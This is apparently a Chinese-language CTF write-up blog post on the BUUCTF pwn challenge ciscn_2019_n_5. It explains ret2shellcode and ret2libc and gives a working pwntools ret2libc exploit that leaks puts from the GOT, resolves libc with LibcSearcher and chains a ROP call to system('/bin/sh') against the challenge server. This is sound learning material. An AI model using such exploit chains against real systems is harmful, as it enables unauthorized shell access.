即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
一般有三种:
1.程序中既有system也有‘/sh’
2.只有system或者‘sh’
3.两个都没有
下面这题是第三种:
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
来自buuctf:
首先检查:
发现是64位,一个保护都没开。所以这里我用了两种做法:1.ret2shellcode 2.ret2libc
先将程序拖进ida64查看反汇编:
查看name:
可以知道name在bss段,并且有64字节可写,于是我们可以往bss段写入shellcode,再用gets(text)返回bss段执行shellcode。
这里我们可以用gdb调试,用vmmap命令查看bss段权限,我查看是有可执行权限的。
所以有exp:
得到flag:
successful
查看反汇编:
可知gets处有漏洞可以利用
于是我们有以下思路:
1.由于puts已经被调用过,所以puts函数的got表中存放的已经是libc中的真实地址,又由于4kb页对齐原理,根据函数地址末三位可以泄露出libc的版本,从而获取system和**\bin\sh**的真实地址。
pythonfrom pwn import*
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('node4.buuoj.cn',25388)
#io= process('./ciscn_2019_n_5')
#host = 'node4.buuoj.cn'
#port = 25388
elf = ELF('./ciscn_2019_n_5')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi = 0x0400713
ret = 0x04004c9
payload_rab = b'a'
io.sendlineafter(b'tell me your name\n',payload_rab)
#此处**read**函数用不到所以随意填充垃圾数据
#gdb.attach(io)
payload1=b'a'*(0x20+8)+flat([pop_rdi,puts_got,puts_plt,main]) #通过rdi寄存器传参,将**puts**函数的got表地址打印出来
io.sendlineafter(b'What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv()[:6].ljust(8,b'\x00'))
#接收**puts**函数的真实地址(及上面打印出的got表地址)
print(hex(puts_addr))
#u64(io.recv(6)[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
#利用LibcSearcher工具查询libc版本
这里要注意一点,我一开始接受真实地址用的是 **puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))**接收,一直报错,*timeout: the monitored command dumped core\n' timeout: the monitored command dumped core'*并且说连接不到端口,整了半天。实际上还是我对于recv()这条命令不了解
puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))表示接受6字节长度,并将其切片,删掉最后一个字节,左对齐用0补齐。这样就会导致接收到的puts的got表地址变化,从而报错。
泄露libc版本之后就好写了:
pythonlibc_base = puts_addr - libc.dump('puts')
#**计算基地址**
print(hex(libc_base))
system = libc_base + libc.dump('system')
#**通过基地址和偏移地址算出system的真实地址**
print(hex(system))
binsh = libc_base + libc.dump('str_bin_sh')
#**同上**
print(hex(binsh))
io.sendline(payload_rab)
#gdb.attach(io)
payload2=b'a'*(0x20+8)+ flat([pop_rdi,binsh,ret,system]) //此处要加一个**ret**进行栈平衡,原因没了解之后会去细看,大致就是因为ubuntu18上的在调用system函数时都要进行栈平衡,防止栈顶被破坏,导致程序崩溃
io.sendline(payload2)
io.interactive()
运行之后:
选择‘0‘。
成功拿到shell:
flag:
ret2libc总结:
作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!